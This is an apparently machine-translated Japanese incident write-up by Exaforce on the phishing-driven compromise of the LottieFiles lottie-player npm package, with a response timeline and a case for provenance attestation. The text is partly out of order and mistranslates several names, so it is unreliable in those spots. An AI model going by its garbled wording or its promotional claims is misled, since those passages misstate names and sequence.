NPM チームは、サーバー側とクライアント側の両方の強制メカニズムの実装を優先すべきです。それまでは、コミュニティは手作業による検証とベストプラクティスに頼らなければなりません。パッケージ管理者は出自証明をすぐに有効にすべきであり、ユーザーはより優れたセキュリティ管理と検証ツールを求めるべきです。

NPMのインフラストラクチャを改善するために協力して初めて、より安全なJavaScriptエコシステムを構築できます。ExaForceでは、オープンソースのライブラリが出版プロセスで出自証明を採用できるよう支援することで、最初の一歩を踏み出すことに全力を注いでいます。

参考文献

[1] @lottiefiles /lottie-player パッケージによるセキュリティインシデントの解決

[2] サプライチェーンのセキュリティインシデント:LottieFiles NPM パッケージ侵害の分析

[3] TrustYPKG ロッティ検証 開発者が安全なオープンソースライブラリを利用するためのデータベース

2024年10月30日、Exaforceのインシデント対応チームがLottieFilesに依頼されました。これは、LottieFilesの人気者を狙った高度なサプライチェーン攻撃を発見したためです。 ロティプレイヤー NPM パッケージ。

• この事件では、フィッシング攻撃によってパッケージ管理者の資格情報が侵害され、DeFiおよびWeb3コミュニティで使用される暗号通貨ウォレットを標的にした悪意のあるコードが配布されました。
• LottieFilesは迅速に行動し、共同で1時間以内に攻撃を封じ込めることができました。これにより、毎日1,100万人以上のアクティブユーザーがいると推定されるパッケージの広範なユーザーベースへの潜在的な影響を最小限に抑えることができました。
• プロセス全体を通して、LottieFilesは賞賛に値するスピードとユーザーコミュニティへのコミットメントを示しました。

Exaforceは、LottieFilesが長年にわたって得てきた信頼を得てコミュニティにサービスを提供できるように努めています。取られた主な措置:

• LottieFilesのチームがNPMパッケージの出所証明を実装するのを支援し、パッケージ出所の暗号による検証、ビルドプロセス、継続的な検出と対応を提供します。

• LottieFilesのセキュリティ体制を強化し、重要なシステムの継続的な監視を強化するために、引き続きLottieFilesと積極的に関わってください。
• インシデント後のフォローアップブログでは、ベストプラクティスに関するその他の知見や提案を共有する予定です。

インシデントレポートの公式詳細はこちら:

• ロッティ・ファイルズの公式ブログ
• X (ツイッター) 投稿

ロッティ・ファイルと NPM パッケージについて

LottieFilesは、プラットフォーム間で軽量でスケーラブルなアニメーションを実装するためのツールを開発者に提供することで、Webアニメーションに革命をもたらしました。彼らのエコシステムの中心にあるのがLottie-player NPMパッケージです。このパッケージは生涯900万人以上のユーザーに利用され、毎週平均94,000ダウンロードされています。NPM パッケージは現代の JavaScript 開発のバックボーンを形成し、開発者が効率的かつ安全にアプリケーションを構築するために使用するビルディングブロックとして機能します。ソフトウェアサプライチェーンでは、これらのパッケージは信じられないほどの価値と潜在的な脆弱性の両方を兼ね備えているため、そのセキュリティは最優先事項となっています。

攻撃の概要と影響

この事件は、LottieFilesの開発者を標的とした巧妙なフィッシングキャンペーンから始まりました。攻撃者 (電子メール) notify.npmjs@pm.me）が、NPMに登録されている開発者のプライベートGmailアカウントに、共同作業への招待状を添えて、慎重に作成されたフィッシングメールを送信しました @lottiefiles /jlottie npm パッケージ。このソーシャルエンジニアリング攻撃を通じて、攻撃者は標的となる開発者から NPM 認証情報と 2 要素認証コードの両方を正常に収集しました。

攻撃者は、侵害された認証情報を使用して、2024年10月30日の 19:00（UTC）から 20:00（UTC）の間にキャンペーンを実行し、3つの悪意のあるバージョンを公開しました 宝くじプレイヤーパッケージ (2.0.5、2.0.6、および 2.0.7) を NPM レジストリに直接送信します。このマニュアル出版物は、LottieFiles の標準的な GitHub Actions デプロイメントパイプラインをバイパスしたものです。

この攻撃の分散メカニズムは、現代のウェブ開発慣行の性質上、特に効果的であることが証明されました。侵害されたバージョンは、主要なコンテンツ配信ネットワーク (CDN) を通じて急速に広まり、最新のライブラリバージョンを自動的に取得するように設定された Web サイトに影響を及ぼしました。この自動更新機能は、通常はセキュリティ上の利点ですが、攻撃ベクトルとなり、インシデントの範囲が大幅に拡大しました。

学んだ重要な教訓

この事件を処理する過程で、現在のNPMパッケージ配布モデルには、JavaScriptの依存関係でNPMに依存している企業組織が懸念すべき重大なセキュリティ上の課題があるという結論に達しました。Github (NPM の買収とその後の NPM Enterprise の廃止後) は移行戦略を推進していますが、既存の npmjs.comサービスには重大なセキュリティギャップがあります。ユーザーへのSSOの欠如、パッケージのアップストリームやパッケージの使用に関するログなし、整合性チェックの制限、自動化システムに対するOIDCのサポートの欠如、CDNを介した配布の制御の欠如などです。これらの制限が合わさって、現代のJavaScript開発のバックボーンとなっているものにはセキュリティ上の大きな欠陥があり、組織がサプライチェーン攻撃やコンプライアンス問題にさらされる可能性があります。私たちはLottie Filesとともに、npmjsやGithubと協力して、このような重要なソフトウェアサプライチェーンにおける現在のギャップを改善していきます。

インシデントの検出と対応のタイムライン

このインシデントは、10月30日の19時24分（UTC）頃、LottieFilesのコミュニティWebサイトを通じて初めて報告されました。このとき、ユーザーは不審なウォレット接続プロンプトに気づき始めました。エクサフォースのインシデント・レスポンス・チームは、ロッティー・ファイルと連携して、直ちに対策を講じました。

• 10 月 30 日 19:24 UTC: 初期検出とレポート
• 10 月 30 日 19:30 UTC: 影響を受けたパッケージバージョン (2.0.5、2.0.6、2.0.7) が削除されました
• 10月30日 19:35 UTC: 侵害されたNPMアクセストークンの取り消し
• 10月30日 19:58 UTC: クリーンバージョン2.0.8の公開
• 10月31日 02:35 UTC: 影響を受ける開発者のNPMアクセス権の削除
• 10月31日 02:40 UTC: 個々の開発者のNPMリポジトリへのアクセスが取り消されました
• 10月31日 02:45 UTC: すべてのNPMキーと他のシステムのキーが取り消され、NPM自動化が一時停止されました
• 10 月 31 日 03:30 UTC: インシデント後のさらなる分析のため、問題のラップトップを隔離しました
• 10 月 31 日 03:35 UTC: 侵害されたラップトップでフォレンジックを開始
• 10月31日 03:55 UTC: 主要なCDNプロバイダーとの連携による感染ファイルの削除
• 10 月 31 日 4:00 UTC: ロッティ・ファイルズによる最初の公式X（Twitter）投稿
• 10月31日 20:06 UTC: コミュニティ運営者の協力を得て、すべての感染ファイルがダウンストリーム CDN (cdnjs.com、unpkg.com) から削除されました
• 11月1日、午前1時59分（UTC）: ロッティ・ファイルによるX（Twitter）投稿の2回目の公式アップデート

より安全な宝くじファイルに向けた取り組みの強化

この事件に対応して、私たちはLottie Filesと協力して、インフラストラクチャ全体に包括的なセキュリティ改善を実施しています。主な対策には以下が含まれます。

1. NPMパッケージの出所証明の実装と継続的な監視により、パッケージの出所とビルドプロセスの暗号化検証が可能になります。これにより、パッケージは検証済みの GitHub ワークフローでのみビルドおよび公開され、人間が直接公開するリスクがなくなります。
2. 重要なシステムにおける人間と機械のアイデンティティの態勢を理解する。認証情報を含むマシンアイデンティティは、今日のクラウドで最も一般的な脅威ベクトルです。強固なクラウド・セキュリティ体制を確立するには、これらのアイデンティティがどのように使用されているのか、誰によって使用されているのかを可視化することが不可欠です。
3. リアルタイム監視と 脅威検出範囲 Exaforce AI-Botと当社のマネージドクラウド検出および対応サービスを組み合わせて、すべての重要なシステムで活用しています。

今後のフォローアップでは、Lottieが既存のチームをタスク固有のAIボットで強化することで、業界をリードするセキュリティエンジニアリングと運用の確立に役立つ教訓を共有していきますので、どうぞご期待ください。NPM のインフラストラクチャーを改善するために協力して初めて、より安全な JavaScript エコシステムを構築することができます。で エクサフォース、私たちは、オープンソース図書館が出版プロセスにおいて出所証明を採用できるよう支援することで、最初の一歩を踏み出すことに取り組んでいます。